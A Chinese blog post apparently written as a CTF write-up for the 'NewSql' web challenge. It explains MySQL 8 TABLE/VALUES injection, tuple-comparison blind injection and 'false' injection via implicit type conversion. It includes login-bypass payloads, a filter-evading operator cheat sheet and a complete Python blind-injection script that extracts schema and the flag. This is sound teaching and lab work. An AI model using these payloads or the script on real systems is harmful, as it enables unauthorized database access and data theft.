查看原文
其他

原创 |【胖哈勃的七月公开赛】NewSql

Whippet SecIN技术平台 2022-06-18
点击上方蓝字 关注我吧


前几天参加了【胖哈勃的七月公开赛】,无奈技术有限,两道web题目都没有做出来。有关系吗?



刚好昨天看到了 NewSql 这道题目的 writeup,就想着复盘一下。


做题期间


这些均是我做题期间的思考和尝试,大佬可直接绕过,查看赛后复盘


打开题目链接是一个登录框,遇见登录框首先想到的就是注入



一下子就看出来了是单引号注入,当场我就要拿出师傅传给我的秘密武器 sqlmap 来试一下,但是肯定是不行滴,还是老老实实的手工注入一下。


我大胆的猜测一下登录时的 sql 语句

$sql = "select * from users where username = '$username' and password = '$password'";


如此简单不是手到擒来,但是过滤了很多参数



后来我构造了这样的语句

username=admin&password=password'/**/or/**/123456#



再去请求第二遍的时候,就登录进去了



首先分析一下为什么这样会登录成功



这样构造登录成功之后,查看信息也并没有什么有用的信息,要找的 flag 是存在数据库中


就是漫长的尝试注入中,发现过滤了很多参数,后来给出了提示 Mysql 8 注入


Mysql 8 注入新特性


发现 Mysql 8 的注入特性

  • table

  • values


碎碎念

为了在本地对 mysql 数据库进行操作尝试,需要重新安装mysql环境,这是因为 phpstudy 中 mysql 只有 8.0.12,而新的注入关键字是出现在 mysql 8.0.19 之后。



sudo apt-get install mysql-serversudo apt-get isntall mysql-clientsudo netstat -tap | grep mysql #查看mysql的启动状态



TABLE


首先选择数据库,然后利用 table 关键字,可以查询数据表中的内容。


TABLE 是 MySQL 8.0.19 中引入的 DML 语句,它返回命名表的行和列,类似于 SELECT,支持 UNION 联合查询、ORDER BY排序、LIMIT 子句限制产生的行数



我们注意到 table users;& select * from users;似乎是完全相同的,但是存在以下的不同点


  • TABLE 始终显示表的所有列

  • TABLE 不支持任何 WHERE 子句


VALUES


VALUES 是把一组一个或者多个行作为表显示出来,返回一个表数据,结合ROW() 会更好理解一些。


ROW() 返回的是一个行数据,VALUES 会将 ROW() 返回的行数据加上字段整理为一个表,然后展示。



注入技巧


判断列数


因为 VALUES 命令 和 TABLE 命令返回的都是表数据,他们返回的数据通过 union 语句联合起来时,当列数不对时会报错,可以通过这个来判断列数



判断回显位

select * from users where id=-1 union values row(1,2,3);



列出所有数据库名

table information_schema.schemata;



盲注查询任意表中的内容

table users limit 1; 查询结果



利用 table users limit 1; 会返回 users 这个表里面的第一行,网上的描述我并没有太理解,所以我决定用我自己的话+图,对这种盲注的现象进行一个解释


select ((1,'','')<=(table users limit 1)); & select ((2,'','')<=(table users limit 1));



表面上看是 (1,' ',' ')  与 table users limit 1 的比较,实际上是 (1,' ',' ') (1,'admin','password') 的比较,比较顺序为从左往右,第一列(也就是第一个元组元素)判断正确再去判断第二列(也就是第二个元组元素)。两个元素第一个字符比大小,如果第一个字符相等就比较第二个字符的大小 ,依次类推,最后结果就是元组的大小。



如果返回结果是1,则证明有匹配项,如果是0,则证明没有匹配项,然后继续判断后面的列,直到最后一个。

小Tips


当前判断的所在列的后一列需要用字符进行表示,不能使用数字,否则判断到当前列的最后一个字符会判断不出!!



最好利用 <= 替换 <,  用 < 比较一开始并没有什么问题,但是到了最后一位时,结果就为正确字符的前一个字符,所以用 <= 结果更加直观。



False注入


我们执行select * from users where username=0;



为什么username=0 会导致返回全部的数据呢

这里就不得不提到有关 MYSQL 的隐式类型转换。


  • 如果两个参数做比较,有至少一个是NULL,则比较结果为 NULL。NULL <=>,结果为真,不需要转换。

  • 如果两个参数都是字符串,则按照字符串比较,不做类型转换。

  • 如果两个参数都是整数,则按照整数比较,不做类型转换。

  • 如果不与数字进行比较,则将十六进制值视为二进制字符串。

  • 如果其中一个参数是 TIMESTAMP 或者 DATETIME,另一个参数是常量,则执行比较之前,常量会被转换为时间戳。

  • 如果其中一个参数是十进制值,则比较取决于另一个参数。另一个参数是十进制值或者整数值,则将参数作为十进制值进行比较。另一个参数是浮点值,则将十进制值转换为浮点值进行比较。

  • 在其他所有情况下,两个参数都会被转换为浮点值进行比较




可以看到在进行类型转换的时候,将字符串转换时会产生一个 warning,转换的结果为 0。如果字符串的第一个字符是非数字的字符,转换为数字就是 0 ;如果字符串是数字开头的话,会从数字部分截断,转换为数字;如果字符串全是数字的话,转换为整个字符串对应的数字。


注入技巧


在实际中遇到的 SQL 语句可能是这样的 select * from users where username='$username'所以就要构造处理来实现 false 注入点


算数运算符

加:+

'+'拼接的语句:select * from users where username='$username'+''


减:-

'-'拼接的语句:select * from users where username='$username'-''


乘:*

'*'拼接的语句:select * from users where username='$username'*''


除:/

'/6#拼接的语句:select * from users where username='$username'/6#'


取余:%

'%1#拼接的语句:select * from users where username='$username'%1#'


位操作运算符


和运算:&

'&0#拼接的语句:select * from users where username='$username'&0#'


或运算:|

'|0#拼接的语句:select * from users where username='$username'|0#'


异或运算:^

'^0#拼接的语句:select * from users where username='$username'^0#'


移位操作:>>  <<

'<<0# '>>0#拼接的语句:select * from users where username='$username'<<0#'


比较运算符


安全等于:<=>

'=0<=>1#拼接的语句:select * from users where username='$username'=0<=>1#'


不等于:<=>

'=0<>0#拼接的语句:select * from users where username='$username'=0<>0#'


大小于 > <

'>-1#拼接的语句:select * from users where username='$username'>-1#'


Others

select * from users where username='test'=''-'';

select * from users where username='test'=~~'';

select * from users where username='test'=mod(pi(),pi());

讲了这么多,可能早就晕了,有关系吗?

我们再从这道题目的角度进行分析,对刚了解到的知识再进行巩固。


赛后复盘


根据官方提供的 writeup 是过滤了这些参数

|select|union|and|&&|updatexml|extractvalue|group|concat|have|sleep|database|insert|join|where|substr|char|mid|>|=|\|\||like|regexp|\\|if


结合之前有关 False 注入 Mysql8 注入

import requestsimport string
url = 'http://192.168.153.131:8084/'strings = string.digits + '_' + string.ascii_lowercase + '{}'# 0123456789_abcdefghijklmnopqrstuvwxyz{}
def get_data(payload): for j in range(0,10): result = '' for i in range(1,20): for str in strings: data = { "username":payload.format((result + str),j), "password":"123456" } res = requests.post(url = url,data = data,allow_redirects=True) if "WELCOME" not in res.text: result += chr(ord(str) - 1) print(result) break

if __name__ == "__main__": payload_databases = "1'^(('def','{0}','',4,5,6)<(table/**/information_schema.schemata/**/limit/**/{1},1))#" #mysql information_schema performance_schema sys ctf payload_tables = "1'^(('def','ctf','{0}','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table/**/information_schema.tables/**/order/**/by/**/CREATE_TIME/**/DESC/**/limit/**/{1},1))#" # users f1aggghere payload_columns = "1'^(('def','ctf','f1aggghere','{0}','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table/**/information_schema.columns/**/order/**/by/**/TABLE_SCHEMA/**/limit/**/{1},1))#" # flag id payload_data = "1'^((1,'{0}')<(table/**/f1aggghere/**/limit/**/{1},1))#"
get_data(payload_data)


如果 false 注入成功之后就会跳转到登录后的页面,information_schema库中每个表的字段数量可以通过在本地搜索判断,为了节约时间,尽快查找到所需要的数据,可以利用 table 可以拼接 order by 语句,根据表创建时间逆序,一般前几个就是存在数据的表。


找到表之后为了查出其中存在的字段,可以拼接order by 语句,根据数据库名进行排序,因为数据库名为'ctf',所以很快就可以查出结果。然后就是查询表里面的信息了。


参考文章


浅谈利用mysql8新特性进行SQL注入

https://www.anquanke.com/post/id/231627

七月公开赛writeup|web--NewSql

False注入,以及SQL注入技巧总结

https://www.cnblogs.com/p00mj/p/11797784.html


相关推荐



原创 | 记一次完成的钓鱼实战
原创 | AMSI 浅析及绕过
原创 | 白说:php反序列化之pop链
原创 | "白话"PHP文件包含漏洞

你要的分享、在看与点赞都在这儿~

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存